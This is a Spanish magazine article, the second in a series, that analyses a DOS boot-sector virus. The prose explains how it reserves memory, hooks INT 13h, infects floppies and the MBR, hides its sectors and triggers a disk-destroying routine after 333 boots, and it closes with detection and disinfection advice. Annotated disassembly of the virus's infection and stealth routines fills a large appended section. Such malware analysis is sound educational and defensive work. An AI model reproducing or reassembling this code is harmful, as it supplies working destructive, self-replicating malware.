Los virus de arranque (II).
Autor: Juan-Mariano de Goyeneche.
Publicado en el Número 9 de Programación Actual.
El mes anterior se iniciaba el contacto con los
virus de arranque estudiando en profundidad los pasos que daba
el ordenador desde que se encendía hasta que ejecutaba
el sistema operativo. Se continúa ahora viendo cómo
y dónde el virus modifica estos pasos en su provecho.
Dejábamos nuestra entrega anterior justo cuando
el sector de arranque que contenía al virus se había
empezado a ejecutar y ya había decrementado el número
de Kilobytes de memoria disponibles, reservándose así
un espacio que luego no le pudieran "pisar" otros programas
o el propio S.O. La ejecución continúa entonces
transfiriendo todo el sector contaminado desde 0000:7c00 a ese
Kilobyte reservado:
Tiene que hacer esto inmediatamente porque esta posición
se usa con posterioridad y el virus sería eliminado de
la memoria. Al haber decrementado la variable anterior el SO "ve"
639 Kb de memoria en vez de 640, y nunca puede escribir encima
del virus. Este procedimiento es constante en todos los virus
de arranque. Algunos tratan de disimularlo para que los programas
antivirus no detecten que el sector es un virus con sólo
mirar si hay un 413h dentro de él.
El virus continúa en la zona reservada: se
deja en la pila el segmento y desplazamiento donde se va a seguir
y se hace un RETF. Es análogo a haber hecho un JMP FAR,
pero suele utilizarse esta última técnica.
La ejecución sigue ahora en el Kbyte de memoria
que se ha reservado el virus, en el desplazamiento 00EE:
Puesto que se va a leer de disco, se "resetea"
la controladora (función 0 de la INT 13: XOR AH,AH deja
un 0 en AH), y se lee el resto del virus, dejándolo a continuación
dentro del Kilobyte reservado, (BX es el puntero al buffer donde
se va a guardar el sector: 200h=512) después de los 512
bytes que ya se han dejado ahí. En DL se pone la unidad
de disco en que estamos, que se había guardado en la última
infección en 00EC. La primera subrutina, 00B5, pone el
resto de los parámetros de la función de lectura
de sectores de la INT 13 (ver "Referencias" para encontrar
documentación sobre el significado de los parámetros
que se pasan a la interrupción):
La segunda sirve para leer físicamente el
sector definido por los parámetros que se le han pasado.
BP se utiliza como contador para permitir hasta 4 lecturas en
caso de que haya errores.
Con los datos pasados a la primera subrutina se puede
determinar en qué parte del disco está la continuación
del virus, aunque es más interesante comprobar si existe
-y en su caso recuperar- el sector de arranque original, que es
el que se localizará en breve. Antes de llegar a ese punto
el virus hace una comprobación de rigor: si le ha llegado
la hora de actuar no hace falta que se moleste en recuperar el
código de arranque original, porque no lo va a ejecutar,
sino que va a destruir el disco:
Primero incrementa el contador en que guarda el número
de veces que se ha encendido el ordenador, y si este llega a 333
(14Dh), salta a la rutina que destruye el disco. En caso contrario,
escribe de nuevo el sector en disco con el contador incrementado.
La subrutina en CS:94 es simplemente:
Seguidamente pone el contador a cero para que en
el próximo disco que infecte ya esté con el valor
adecuado y -esto es importante- incrementa CL (siguiente sector)
y vuelve a llamar a la subrutina de lectura de disco, con ES:BX
-puntero al buffer- con el ya familiar valor de 0000:7C00:
Todo parece indicar que es aquí donde está
trayendo a memoria el sector original. La forma de suplantar a
este sector varía de unos virus a otros: unos guardan una
copia del mismo en otra zona del disco y tras instalarse en memoria
la cargan en 0000:7C00 y hacen que se ejecute y se encargue ella
de cargar el sistema operativo. Estos virus son especialmente
ventajosos pues facilitan mucho la labor de desinfección:
normalmente basta con desensamblarlos para ver dónde guardan
la copia del sector de arranque/MBR originales y volverla a colocar
en su posición correcta. Otros en cambio sobrescriben estos
sectores y asumen ellos mismos la función de continuar
con la carga del SO, lo que los hace algo más difíciles
de eliminar.
Seguidamente el virus comprueba si está tratando
con un disquete o con un disco duro. Simplemente mira si DL vale
80h (identificador del primer disco duro para la BIOS). Si lo
es, significa que se ha arrancado desde disco duro, y por tanto
éste ya está infectado; pero si DL vale 0 es que
se ha arrancado desde disquete, y entonces el virus, antes de
pasarle el control al sector de arranque propio del SO, comprueba
si el disco duro está ya afectado o no y se prepara para
infectarlo convenientemente.
Si hay un disco duro, lee el sector de la tabla de
particiones y recoge alguna información sobre él.
El código no es demasiado interesante; para propósitos
pedagógicos interesa mucho más lo que hace en 01BC:
Con esto cambia la dirección del vector de
la interrupción 13h para que apunte al código del
virus (el segmento de la rutina de atención a la interrupción
13h se haya en 0000:004E y el desplazamiento en 0000:004C).
La dirección original la guarda en CS:00B0
dentro del código del virus, y pone como rutina lo que
hay en CS:02AE. A continuación pasa a ejecutar el sector
de arranque original, ya que en CS:209 no hay otra cosa que:
En este punto se procede con la carga normal del
SO como si nada hubiera pasado. Lo que se ejecuta en este momento
es lo que se debía haber ejecutado cuando finalizó
el POST y la BIOS le dio el control al sector de arranque o al
MBR. El virus ya se ha colocado en medio, ha realizado las tareas
pertinentes para permanecer activo y con el control del sistema,
y ahora deja que todo continúe como si nada hubiera pasado.
A partir de ahora las acciones que realice el virus
se llevarán a cabo de forma indirecta. El SO y las aplicaciones
se ejecutaran normalmente, pero cuando se genere una INT 13h para
acceder a cualquier disco duro o disquete será la rutina
del virus la que se ejecute y no la original. Es entonces cuando
el virus "reaparece" y puede volver a tomar decisiones
y actuar.
La rutina de interrupción será la encargada
de hacer que el virus se extienda e infecte a otros disquetes.
En el arranque sólo hay un disquete: el que está
arrancando. Y ese ya está infectado o si no el virus no
se estaría ejecutando. Lo más que puede hacer en
esta fase es infectar el disco duro. Es en la fase siguiente,
con el SO ya cargado, donde el usuario mete y saca disquetes,
cuando se puede propagar la infección: al leer o copiar
un fichero, al hacer un simple "dir", se está
accediendo al disquete, luego se está generando una INT
13h. Y como el virus controla su rutina de atención, puede
hacer que pase cualquier cosa que le interese, aunque no tenga
nada que ver con la causa que originó la interrupción.
Es decir, que aunque se produjera una INT 13h porque el usuario
quería ver lo que había en un disquete e hizo un
"dir" (una operación de lectura) la rutina del
virus puede perfectamente escribir primero en el disquete infectándolo
y luego, como siempre, realizar la operación que pedía
el usuario para que este no sospeche. La rutina del virus de ejemplo,
que como se vio estaba localizada en CS:02AE, muestra esto con
claridad:
Esto es para cuando la INT 13h se hace sobre un disquete.
Intenta leer el sector de arranque hasta 4 veces
si es que hay error.
Recupera registros y sale, saltando a ejecutar la
rutina de la INT 13h original.
El código que salta a la INT 13h original
es simplemente:
En caso de que se pudiera leer el sector de arranque,
se comprueba si ya está o no contaminado...
Sector no infectado: realiza cálculos para
guardarlo como sector de arranque original al final de los sectores
reservados para las entradas del directorio raíz...
...y lo guarda.
Seguidamente recoge datos del disquete para colocarlos
en el sector de arranque infectado y copia los 27 (1Bh) bytes
del bloque de parámetros de la BIOS desde el sector de
arranque original al nuevo sector de arranque contaminado. Tampoco
es código de especial interés, así que se
omite por razones de espacio.
Completadas todas las estructuras, guarda el sector
de arranque contaminado.
Queda el resto del virus, los últimos 512
bytes, que los guarda también en los sectores reservados
para el directorio raíz...
Para terminar, la parte de la rutina que se encarga
de las llamadas a la INT 13h sobre el disco duro:
Si se pretende escribir en un sector del cilindro
0, cabeza 0, convertir la escritura en verificación para
evitar que "machaquen" al virus:
Servicio de lectura: no deja que se vea lo que no
debería existir.
Después de estudiar unos cuantos virus de
arranque se observan patrones comunes en todos ellos que ayudan
mucho a la hora de atajar una infección.
Al igual que todos utilizan la posición 0000:0413
para reservarse memoria, hay otros comportamientos que varían
muy poco y que, conocidos, pueden permitir la desinfección
sin siquiera desensamblar el virus.
Por ejemplo, si se mira un MBR típico se observa
que consta de unos cuantos bytes (muy pocos : menos de la
tercera parte del sector) al principio, seguidos de todo ceros
hasta la posición 1BEh. Allí aparecen las consabidas
entradas de la Tabla de Particiones. En cambio, tras ser infectado
por un virus, normalmente todo son bytes del código vírico
en vez de los ceros. Las diferencias son notables, y no hace falta
más que un editor hexadecimal -o, por qué no, nuestro
amigo el DEBUG- para comprobar que el disco está infectado.
En los sectores de arranque del DOS no es tan fácil ver
lo mismo porque su código ocupa bastante más que
el de un MBR; no obstante, es muy común que, justo al final
del sector sin infectar, aparezcan los nombres IO.SYS y MSDOS.SYS.
Pues bien, como el virus sobrescribe el sector pero suele mantener
los datos que había antes es MUY común que estos
2 nombres queden parcialmente borrados por el código vírico,
situación que puede hacer sospechar con fundamento una
infección.
En los disquetes, el sector de arranque original
y el restante código que exceda de los 512 bytes del primer
sector suele almacenarse en los últimos sectores de los
reservados para el directorio raíz. Una práctica
sin duda peligrosa pues, si hay muchos ficheros en el directorio
raíz, sus entradas podrían sobrescribir el código
del virus o el del sector de arranque original, haciendo, sin
duda, que el disquete fuera incapaz de arrancar, colgándose
el sistema con casi toda probabilidad. Ciertamente hay otras técnicas,
como la de ponerlos en los últimos sectores del disco (donde
también pueden ser sobrescritos con los mismos resultados)
o, mucho más elaborada y trabajosa, buscar una entrada
libre en la FAT (del inglés, pero al revés: Tabla
de Asignación de Ficheros, una especie de lista encadenada
que apunta por orden a todos clusters que ocupa un fichero), marcarla
como defectuosa, calcular los sectores que corresponden a ese
cluster, y guardar en ellos el código necesario.
En los discos duros, aunque también se ven
las técnicas de guardarlos en los últimos sectores
del disco, hay otra forma que suele ser mucho más segura:
el MBR se encuentra, invariablemente, en el primer sector de la
cara 0 y cilindro 0. Pero, paradójicamente, la partición
DOS suele empezar en el primer sector... del cilindro 1. Eso significa
que, dependiendo de los discos duros, quedan varios Kbs (los correspondientes
a 1 cilindro - 1 sector) vacíos, sin aprovechar. De hecho,
los únicos que suelen tomar provecho de esta circunstancia
son los virus para guardar allí la información que
precisen.
Lógicamente, a la hora de buscar el sector
de arranque o el MBR originales para tratar de restaurarlos, se
ha de hacer siempre arrancando de disquete, y con uno que nos
conste esté limpio de virus pues, como se ha visto, estos
son capaces de impedir que veamos los sectores que no le interese
y la búsqueda sería inútil.
Tampoco conviene, una vez encontrado el sector original,
escribirlo encima del virus sin tomar precauciones. Lo más
aconsejable es guardar primero una copia del sector infectado,
luego sustituir éste por el sector original y seguidamente
rebotar para ver si todo funciona como debiera. Hay virus que
modifican también la copia del sector original y ésta,
por sí misma, no funcionará; otros encriptan parte
del disco duro y entonces, sin el virus que se cargue primero
y lo desencripte, resulta inaccesible. En estos casos lo mejor
es restaurar el virus y estudiarlo para, una vez localizada su
forma de actuar, invertirla para llegar a la situación
original, sin infección. Puesto que el disco duro puede
quedar inaccesible al retirar el virus, es evidente que su antes
recomendada copia de seguridad debe realizarse sobre disquete,
no en el propio disco duro!.
La solución de hacer un FDISK /MBR puede funcionar
en algunos casos, tanto si el virus ha guardado copia de los sectores
originales, como si los ha suplantado totalmente, pero los problemas
enunciados en el párrafo anterior pueden darse aquí
también, por lo que no es nada recomendable usarla sin
hacer antes una copia de seguridad del virus. En realidad se trata
todo de la misma técnica, tan repetida siempre cuando se
habla de administración UNIX, pero de aplicación
en otros muchos aspectos de la vida: "Procura que todos
los cambios que hagas sean reversibles".
Hasta aquí todo lo relativo a virus de arranque.
El próximo mes serán analizados los virus de ejecutables
para terminar en la entrega siguiente con un estudio en profundidad
de lo último en cuanto a virus se refiere: los virus de
macros de Word.
0B91:7C32 B106 MOV CL,06
0B91:7C34 D3E0 SHL AX,CL
0B91:7C36 8EC0 MOV ES,AX
0B91:7C38 B90002 MOV CX,0200
0B91:7C3B 0E PUSH CS
0B91:7C3C 1F POP DS
0B91:7C3D 89DE MOV SI,BX
0B91:7C3F 31FF XOR DI,DI
0B91:7C41 FC CLD
0B91:7C42 F3 REPZ
0B91:7C43 A4 MOVSB
0B91:7C44 06 PUSH ES
0B91:7C45 BBEE00 MOV BX,00EE
0B91:7C48 53 PUSH BX
0B91:7C49 CB RETF
0B91:00EE 8ED8 MOV DS,AX
0B91:00F0 30E4 XOR AH,AH
0B91:00F2 CD13 INT 13
0B91:00F4 BB0002 MOV BX,0200
0B91:00F7 88DD MOV CH,BL
0B91:00F9 8A16EC00 MOV DL,[00EC]
0B91:00FD E8B5FF CALL 00B5
0B91:0100 E897FF CALL 009A
0B91:00B5 8A0EEB00 MOV CL,[00EB]
0B91:00B9 BE7000 MOV SI,0070
0B91:00BC 01CE ADD SI,CX
0B91:00BE 8A4C02 MOV CL,[SI+02]
0B91:00C1 8A7403 MOV DH,[SI+03]
0B91:00C4 C3 RET
-u 9a
0B91:009A 55 PUSH BP
0B91:009B BD0400 MOV BP,0004
0B91:009E B80102 MOV AX,0201
0B91:00A1 CD13 INT 13
0B91:00A3 7307 JNB 7CAC
0B91:00A5 30E4 XOR AH,AH
0B91:00A7 CD13 INT 13
0B91:00A9 4D DEC BP
0B91:00AA 75F2 JNZ 7C9E
0B91:00AC 5D POP BP
0B91:00AD C3 RET
0B91:0103 FF06F702 INC WORD PTR [02F7]
0B91:0107 813EF7024D01 CMP WORD PTR [02F7],014D
0B91:010D 7603 JBE 0112
0B91:010F E91E01 JMP 0230
0B91:0112 E87FFF CALL 0094
0B91:0094 B80103 MOV AX,0301
0B91:0097 CD13 INT 13
0B91:0099 C3 RET
0B91:0115 31C0 XOR AX,AX
0B91:0117 A3F702 MOV [02F7],AX
0B91:011A 8EC0 MOV ES,AX
0B91:011C BB007C MOV BX,7C00
0B91:011F FEC1 INC CL
0B91:0121 E876FF CALL 009A
0B91:0124 80FA80 CMP DL,80
0B91:0127 7503 JNZ 012C
0B91:0129 E99000 JMP 01BC
0B91:0129 E851 JMP 020F
... .. ...
0B91:020F 31C0 XOR AX,AX
0B91:0211 2E CS:
0B91:0212 A2EC00 MOV [00EC],AL
0B91:0215 8ED8 MOV DS,AX
0B91:0217 BBAE02 MOV BX,02AE
0B91:021A 8CCA MOV DX,CS
0B91:021C 871E4C00 XCHG BX,[004C]
0B91:0220 87164E00 XCHG DX,[004E]
0B91:0224 0E PUSH CS
0B91:0225 1F POP DS
0B91:0226 871EB000 XCHG BX,[00B0]
0B91:022A 8716B200 XCHG DX,[00B2]
0B91:022E EBD9 JMP 0209
0B91:1209 50 PUSH AX
0B91:120A BB007C MOV BX,7C00
0B91:120D 53 PUSH BX
0B91:120E CB RETF
0B91:02AE 56 PUSH SI
0B91:02AF 1E PUSH DS
0B91:02B0 80FA80 CMP DL,80 ; ¿Es una operación sobre el disco duro?
0B91:02B3 7503 JNZ 02B8
0B91:02B5 E9F300 JMP 03AB ; El disco duro se gestiona en otra parte.
0B91:02B8 80FC02 CMP AH,02 ; ¿Solicitado servicio de lectura?
0B91:02BB 7536 JNZ 02F3 ; No -> salir. Ejecutar INT 13h original.
0B91:02BD 80FA02 CMP DL,02
0B91:02C0 7331 JNB 02F3 ; Sólo trabaja con unidades A: ó B: (00 ó 01)
0B91:02C2 31F6 XOR SI,SI
0B91:02C4 8EDE MOV DS,SI
0B91:02C6 F6063F0403 TEST BYTE PTR [043F],03 ; Si el motor de la unidad de
0B91:02CB 7526 JNZ 02F3 ;disco está funcionado -> salir.
0B91:02CD 50 PUSH AX ; Guarda registros que va a modificar.
0B91:02CE 51 PUSH CX
0B91:02CF 52 PUSH DX
0B91:02D0 0E PUSH CS
0B91:02D1 1F POP DS
0B91:02D2 8816F602 MOV [02F6],DL
0B91:02D6 55 PUSH BP
0B91:02D7 BD0400 MOV BP,0004
0B91:02DA B80102 MOV AX,0201
0B91:02DD 30F6 XOR DH,DH
0B91:02DF B90100 MOV CX,0001
0B91:02E2 E8C9FD CALL 00AE ;Llama INT 13h original.
0B91:02E5 7312 JNB 02F9 ;No error -> sigue.
0B91:02E7 31C0 XOR AX,AX ;Error -> reset del sistema del disco...
0B91:02E9 E8C2FD CALL 00AE ;y vuelve a intentarlo hasta
0B91:02EC 4D DEC BP ;que haya 4 errores consecutivos.
0B91:02ED 75EB JNZ 02DA
0B91:02EF 5D POP BP
0B91:02F0 5A POP DX
0B91:02F1 59 POP CX
0B91:02F2 58 POP AX
0B91:02F3 E90AFF JMP 0200
0B91:0200 1F POP DS
0B91:0201 5E POP SI
0B91:0202 2E CS:
0B91:0203 FF2EB000 JMP FAR [00B0]
0B91:02F9 5D POP BP
0B91:02FA 26 ES:
0B91:02FB 813FEA05 CMP WORD PTR [BX],05EA
0B91:02FF 7508 JNZ 0309
0B91:0301 26 ES:
0B91:0302 817F0200C0 CMP WORD PTR [BX+02],C000
0B91:0307 7409 JZ 0312
0B91:0309 26 ES:
0B91:030A 81BF4A00BC9E CMP WORD PTR [BX+004A],9EBC
0B91:0310 7504 JNZ 0315
0B91:0312 E99200 JMP 03A6 ; Ya está infectado -> Salir de la INT.
0B91:0315 26 ES:
0B91:0316 8B471300 MOV AX,[BX+0013]
0B91:031A BE7000 MOV SI,0070
0B91:031D 3904 CMP [SI],AX
0B91:031F 7429 JZ 0348
0B91:0321 83C604 ADD SI,+04
0B91:0324 EBF9 JMP 031D
0B91:0326 08D3 OR BL,DL
0B91:0328 53 PUSH BX
0B91:0329 89F3 MOV BX,SI
0B91:032B BA7000 MOV DX,0070
0B91:032E 29D3 SUB BX,DX
0B91:0330 88DA MOV DL,BL
0B91:0332 5B POP BX
0B91:0333 8816EB00 MOV [00EB],DL
0B91:0337 8A4C02 MOV CL,[SI+02]
0B91:033A FEC1 INC CL
0B91:033C 8A7403 MOV DH,[SI+03]
0B91:033F 8A16F602 MOV DL,[02F6]
0B91:0343 B80103 MOV AX,0301
0B91:0346 E867FD CALL 00AE
0B91:0383 0E PUSH CS
0B91:0384 07 POP ES
0B91:0385 31DB XOR BX,BX
0B91:0387 B90100 MOV CX,0001
0B91:038A 30F6 XOR DH,DH
0B91:038C B80103 MOV AX,0301
0B91:038F E821FD CALL 00AE
0B91:0392 5A POP DX
0B91:0393 59 POP CX
0B91:0394 BB0002 MOV BX,0200
0B91:0397 FEC9 DEC CL
0B91:0399 B80103 MOV AX,0301
0B91:039C E814FD CALL 00AE
0B91:039F 5B POP BX
0B91:03A0 07 POP ES
0B91:03A1 5A POP DX
0B91:03A2 59 POP CX
0B91:03A3 58 POP AX
0B91:03A4 EB4B JMP 03EC ; Saltar a la INT 13h original
0B91:03A6 5A POP DX
0B91:03A7 59 POP CX
0B91:03A8 58 POP AX
0B91:03A9 EB46 JMP 03EC
0B91:03AB 80FC02 CMP AH,02 ; ¿Servicio de lectura?
0B91:03AE 7416 JZ 03C1
0B91:03B0 80FC03 CMP AH,03 ; ¿Servicio de escritura?
0B91:03B3 753C JNZ 03EC ; No -> sal.
0B91:03B5 08ED OR CH,CH
0B91:03B7 7538 JNZ 03EC
0B91:03B9 08F6 OR DH,DH
0B91:03BB 7534 JNZ 03EC
0B91:03BD FEC4 INC AH ; AH = 3+1=4, verificación.
0B91:03BF EB30 JMP 03EC ; Saltar a la INT 13h original.
0B91:03C1 3C01 CMP AL,01 ; Sal si Nº de sectores != 1
0B91:03C3 752C JNZ 03EC
0B91:03C5 08F6 OR DH,DH ; Sal si la cabeza no es 0.
0B91:03C7 7528 JNZ 03EC
0B91:03C9 83F901 CMP CX,+01 ;Si quieren leer el primer sector...
0B91:03CC 7415 JZ 03DE ; les enseña la copia del original.
0B91:03CE 83F906 CMP CX,+06 ;Si quieren leer alguno de los sectores
0B91:03D1 740A JZ 03D8 ; en que está el resto del virus o el
0B91:03D3 83F907 CMP CX,+07 ; sector de arranque original, les enseña
0B91:03D6 7519 JNZ 03EC ; otro sector.
0B91:03D8 51 PUSH CX
0B91:03D9 52 PUSH DX
0B91:03DA B105 MOV CL,05
0B91:03DC EB09 JMP 03E2
0B91:03DE 51 PUSH CX
0B91:03DF 52 PUSH DX
0B91:03E0 B107 MOV CL,07
0B91:03E2 E8CEFC CALL 00AE ; Llama a la INT 13h original
0B91:03E5 5A POP DX
0B91:03E6 59 POP CX
0B91:03E7 1F POP DS
0B91:03E8 5E POP SI
0B91:03E9 CA0200 RETF 0002
0B91:03EC E916FE JMP 0200
PATRONES COMUNES